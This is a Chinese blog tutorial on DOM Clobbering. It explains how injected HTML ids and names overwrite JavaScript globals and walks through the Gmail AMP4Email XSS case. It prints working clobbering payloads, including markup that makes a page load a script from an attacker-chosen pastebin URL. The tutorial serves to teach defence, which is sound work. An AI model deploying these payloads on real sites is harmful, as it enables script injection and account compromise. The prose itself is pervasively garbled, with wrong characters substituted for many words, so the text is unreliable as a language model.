关于javascript:DOM-Clobbering-的原理及应用

66次阅读

共计 8498 个字符,预计需要花费 22 分钟才能阅读完成。

前言

做为一个前端程序猿,必定应该晓得很多与前端相干的常识,像是 HTML 或是 JS 相干的货色,但这些通常都与“应用”无关。例如说我晓得写 HTML 的时候要语义化,要应用正确的标签;我晓得 JS 应该要怎么用。可是有些常识尽管也跟网页无关,却不是前端程序员常常接触的。

所谓的“有些常识”指的其实是信息安全相干的常识。有些在信息安全里常见的观点,尽管跟网页无关,对咱们来说却不太熟悉,而我认为了解这些其实是很重要的。因为你必须懂得怎么攻打能力进攻,要先晓得攻打手法跟原理,才晓得该怎么防备。

在正式开始之前,先给大家一个小题目练练手。

假如有一段代码,有一个按钮以及一段 js 脚本,如下所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
  <button id="btn">click me</button>
  <script>
    // TODO: add click event listener to button
  </script>
</body>
</html>

当初请你用最短的代码,实现出 点击按钮时会跳出 alert(1)这个性能。

这样写:

document.getElementById('btn')
  .addEventListener('click', () => {alert(1)
  })

那如果要让代码最短,你的答案会是什么?

在持续之前先想一下,想好之后再往下看。

.
.
.
.
.
.
.
.
.

DOM 与 window 的量子纠缠

你晓得 DOM 外面的货色,有可能影响到 window 吗?

就是你在 HTML 外面设定一个有 id 的元素之后,在 JS 中就能够间接操作:

<button id="btn">click me</button>
<script>
  console.log(window.btn) // <button id="btn">click me</button>
</script>

因为 JS 的作用域规定,你就算间接用 btn 也能够,因为在以后的作用域找不到时就会往上找,一路找到 window

所以后面那道题的答案是:

btn.onclick = () => alert(1)

不须要 getElementById,也不须要 querySelector,只有间接用与 id 同名的变量去拿,就能失去。应该不会有比这个更短的代码了(有的话欢送留言打脸)

而这个行为在 HTML 的阐明文档中是有明确定义的,在 7.3.3 Named access on the Window object:

节选两个重点:

  1. the value of the name content attribute for all embed, form, img, and object elements that have a non-empty name content attribute
  2. the value of the id content attribute for all HTML elements that have a non-empty id content attribute

也就是说除了 id 能够间接用 window 存取到以外,embed, form, imgobject 这四个标签用 name 也能够操作:

<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>

然而晓得这个有什么用呢?有,了解这个规定之后,能够得出一个论断:

咱们是有机会通过 HTML 元素来影响 JS 的!

而把这个手法用在攻打上,就是题目的 DOM Clobbering。以前是因为这个攻打伎俩才第一次晓得 clobbering 这个单词的,查了一下发现在计算机专业畛域中有笼罩的意思,就是通过 DOM 把一些货色笼罩掉来达到攻打的伎俩。

DOM Clobbering 入门

那在什么场景之下有机会用 DOM Clobbering 攻打呢?

首先必须有机会在页面上显示你本人的 HTML,否则就没有方法了。所以一个能够攻打的场景可能是这样:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1> 留言板 </h1>
  <div>
    你的留言:Hello World!</div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

假如有一个留言板,你能够输出任意内容,然而你的输出在服务端会做一些解决(例如用 DOMPurify 之类的库),把所有能够执行 JavaScript 的货色都过滤掉,所以 <script></script> 会被删掉,<img src=x onerror=alert(1)>onerror 会被去掉,还有许多 XSS payload 也都被干掉。

简而言之,你没方法执行 JavaScript 来进行 XSS 攻打,因为这些都被过滤掉了。

然而因为种种因素,并不会过滤掉 HTML 标签,所以你能够做的事件是显示自定义的 HTML。只有没有执行 JS,你想要插入什么 HTML 标签,设置什么属性都能够。

所以就能够这样做:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1> 留言板 </h1>
  <div>
    你的留言:<div id="TEST_MODE"></div>
    <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
  </div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

依据咱们下面所学到到的常识,能够插入一个 idTEST_MODE 的标签 <div id="TEST_MODE"></div>,这样底下 JS 的 if (window.TEST_MODE) 就会过关,因为 window.TEST_MODE 是这个 div 元素。

还有咱们能够用 <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>window.TEST_SCRIPT_SRC 转成字符串之后变成咱们想要的内容。

在很多情况下,只是把一个变量笼罩成 HTML 元素是不够的,比方你把下面那段代码当中的 window.TEST_MODE 转成字符串打印进去:

// <div id="TEST_MODE" />
console.log(window.TEST_MODE + '')

后果会是:[object HTMLDivElement]

把一个 HTML 元素转成字符串就会变成这种模式,如果是这样的话那基本上没方法利用。但幸好在 HTML 外面有两个元素在 toString 时会做非凡解决:<base><a>

起源:4.6.3 API for a and area elements

这两个元素在 toString 的时候会返回 URL,而咱们能够通过 href 属性来设置 URL,这样就能够做到让 toString 之后的内容可控。

所以综合以上手法,咱们学废了:

  1. 用 HTML 搭配 id 属性影响 JS 变量
  2. a 搭配 href 以及 id 让元素 toString 之后变成咱们想要的值

通过下面这两个伎俩再配合适当的场景,就有机会利用 DOM Clobbering 来进行攻打。

不过在这里要留神,如果你想攻打的变量曾经存在的话,你用 DOM 是笼罩不掉的,例如:

<!DOCTYPE html>
<html>
<head>
  <script>
    TEST_MODE = 1
  </script>
</head>
<body>
  <div id="TEST_MODE"></div> 
  <script>
    console.log(window.TEST_MODE) // 1
  </script>
</body>
</html>

多层级的 DOM Clobbering

在后面的例子中,咱们用 DOM 把 window.TEST_MODE 盖掉,制作出未预期的行为。如果要盖掉的对象是个对象那有机会吗?

例如 window.config.isTest 也能够用 DOM clobbering 盖掉吗?

有几种办法,第一种是利用 HTML 标签的层级关系,具备这样个性的是 form 表单:

在 HTML 的 阐明 中有这样一段:

能够利用 form[name] 或是 form[id] 取它底下的元素,例如:

<!DOCTYPE html>
<html>
<body>
  <form id="config">
    <input name="isTest" />
    <button id="isProd"></button>
  </form>
  <script>
    console.log(config) // <form id="config">
    console.log(config.isTest) // <input name="isTest" />
    console.log(config.isProd) // <button id="isProd"></button>
  </script>
</body>
</html>

如此一来就能够结构出两层的 DOM clobbering。不过要留神,那就是这里没有 a 可用,所以 toString 之后都会没方法利用。

然而比拟有可能利用的机会是,当你要笼罩的货色是用 value 存取的时候,例如:config.enviroment.value,就能够利用 inputvalue 属性做笼罩:

<!DOCTYPE html>
<html>
<body>
  <form id="config">
    <input name="enviroment" value="test" />
  </form>
  <script>
    console.log(config.enviroment.value) // test
  </script>
</body>
</html>

简略来说就是只有那些内置的属性能够笼罩,其余是没有方法的。

除了利用 HTML 自身的层级以外,还能够利用另外一个个性:HTMLCollection。

在咱们后面看到的对于 Named access on the Window object 阐明文档中,决定值是什么的段落是这样写的:

如果要返回的货色有多个,就返回 HTMLCollection。

<!DOCTYPE html>
<html>
<body>
  <a id="config"></a>
  <a id="config"></a>
  <script>
    console.log(config) // HTMLCollection(2)
  </script>
</body>
</html>

那有了 HTMLCollection 之后能够做什么呢?在 4.2.10.2. Interface HTMLCollection 中提到,能够利用 name 或是 id 去拿 HTMLCollection 外面的元素。

像这样:

<!DOCTYPE html>
<html>
<body>
  <a id="config"></a>
  <a id="config" name="apiUrl" href="https://huli.tw"></a>
  <script>
    console.log(config.apiUrl + '')
    // https://huli.tw
  </script>
</body>
</html>

就能够通过同名的 id 产生出 HTMLCollection,再用 name 来失去 HTMLCollection 的特定元素,一样能够达到两层的成果。

而如果把 form 跟 HTMLCollection 联合在一起,就可能做到三层:

<!DOCTYPE html>
<html>
<body>
  <form id="config"></form>
  <form id="config" name="prod">
    <input name="apiUrl" value="123" />
  </form>
  <script>
    console.log(config.prod.apiUrl.value) //123
  </script>
</body>
</html>

先利用同名的 id,让 config 能够拿到 HTMLCollection,再来用 config.prod 就能够拿到 HTMLCollection 中 nameprod 的元素,也就是那个 form,接著就是 form.apiUrl 拿到表单底下的 input,最初用 value 拿到外面的属性。

所以如果最初要拿的属性是 HTML 的属性,就能够四层,否则的话就只能三层。

再更多层级的 DOM Clobbering

后面提到三层或是有条件的四层曾经是极限了,那么还有没有其余办法再冲破限度呢?

依据 DOM Clobbering strikes back 外面给的做法,有,利用 iframe 就能够做到。

当你创立了一个iframe 并给它一个 name 时,用这个 name 就能够指到 iframe 外面的 window,所以能够这样:

<!DOCTYPE html>
<html>
<body>
  <iframe name="config" srcdoc='<a id="apiUrl"></a>'></iframe>
  <script>
    setTimeout(() => {console.log(config.apiUrl) // <a id="apiUrl"></a>
    }, 500)
  </script>
</body>
</html>

这里之所以会须要 setTimeout 是因为 iframe 并不是同步载入的,所以须要一些工夫能力正确拿到 iframe 里的货色。

有了 iframe 的帮忙之后,就能够发明出更多层级:

<!DOCTYPE html>
<html>
<body>
  <iframe name="moreLevel" srcdoc='<form id="config"></form>
    <form id="config" name="prod">
      <input name="apiUrl" value="123" />
    </form>
  '></iframe>
  <script>
    setTimeout(() => {console.log(moreLevel.config.prod.apiUrl.value) //123
    }, 500)
  </script>
</body>
</html>

实践上能够在 iframe 里再套一个 iframe,能够做到有限层级的 DOM clobbering,不过我尝试了一下发现可能有点编码上的问题,例如像这样:

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc='<iframe name="level2"srcdoc="
      <iframe name="level3"></iframe>
    "></iframe>'></iframe>
  <script>
    setTimeout(() => {console.log(level1.level2.level3) // undefined
    }, 500)
  </script>
</body>
</html>

打印进去会是 undefined,但如果把 level3 的那对双引号拿掉,间接写成 name=level3 就能够胜利打印出内容,我猜是因为单引号双引号的一些解析问题造成的,目前还没找到什么解决办法,只尝试了这样是可行的,然而再往下就出错了:

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc="
    <iframe name=&quot;level2&quot; srcdoc=&quot;
      <iframe name='level3' srcdoc='<iframe name=level4></iframe>'></iframe>
    &quot;></iframe>
  "></iframe>
  <script>
    setTimeout(() => {console.log(level1.level2.level3.level4)
    }, 500)
  </script>
</body>
</html>

但实际上应该不会用到这么深的层级,所以四层最多五层就够用了。

实例钻研:Gmail AMP4Email XSS

2019 年 Gmail 有一个破绽就是通过 DOM clobbering 来攻打的,残缺的剖析在这里:XSS in GMail’s AMP4Email via DOM Clobbering,上面简略讲一下过程(局部内容取材自这篇文章)。

简略来说在 Gmail 里你能够应用局部 AMP 的性能,而后 Google 针对这个格局的验证很谨严,所以没有方法用个别的办法进行 XSS。

然而有人发现能够在 HTML 元素下面设置 id,又发现当他设置了一个 <a id="AMP_MODE"> 之后,控制台忽然呈现一个载入脚本的谬误,而且网址中的其中一段是 undefined。认真去钻研代码之后,有一段代码大略是这样的:

var script = window.document.createElement("script");
script.async = false;

var loc;
if (AMP_MODE.test && window.testLocation) {loc = window.testLocation} else {loc = window.location;}

if (AMP_MODE.localDev) {loc = loc.protocol + "//" + loc.host + "/dist"} else {loc = "https://cdn.ampproject.org";}

var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";

document.head.appendChild(b);

如果能让 AMP_MODE.testAMP_MODE.localDev 都是真值的话,再配合设置 window.testLocation,就能载入任意的脚本。

所以攻打代码会相似这样:

// 让 AMP_MODE.test 和 AMP_MODE.localDev 有内容
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>

// 设置 testLocation.protocol
<a id="testLocation"></a>
<a id="testLocation" name="protocol" 
   href="https://pastebin.com/raw/0tn8z0rG#"></a>

最初就能胜利载入任意脚本,进而进行 XSS!(不过当初作者只尝试到这一步就被 CSP 拦住了)。

这应该是 DOM Clobbering 最驰名的案例之一了。

总结

尽管 DOM Clobbering 的应用场景无限,却是一个相当乏味的攻打伎俩!而且如果你不晓得这个个性的话,可能齐全没想过能够通过 HTML 来影响全局变量的内容。

如果对这个攻打手法有趣味的,能够参考 PortSwigger 的文章,外面提供了两个试验让大家亲自尝试这个攻打伎俩,光看是没用的,要理论上来操作一下能力领会。


本文首发微信公众号:前端先锋

欢送扫描二维码关注公众号,每天都给你推送陈腐的前端技术文章


欢送持续浏览本专栏其它高赞文章:

  • 深刻了解 Shadow DOM v1
  • 一步步教你用 WebVR 实现虚拟现实游戏
  • 13 个帮你进步开发效率的古代 CSS 框架
  • 疾速上手 BootstrapVue
  • JavaScript 引擎是如何工作的?从调用栈到 Promise 你须要晓得的所有
  • WebSocket 实战:在 Node 和 React 之间进行实时通信
  • 对于 Git 的 20 个面试题
  • 深刻解析 Node.js 的 console.log
  • Node.js 到底是什么?
  • 30 分钟用 Node.js 构建一个 API 服务器
  • Javascript 的对象拷贝
  • 程序员 30 岁前月薪达不到 30K,该何去何从
  • 14 个最好的 JavaScript 数据可视化库
  • 8 个给前端的顶级 VS Code 扩大插件
  • Node.js 多线程齐全指南
  • 把 HTML 转成 PDF 的 4 个计划及实现

  • 更多文章 …

正文完
 0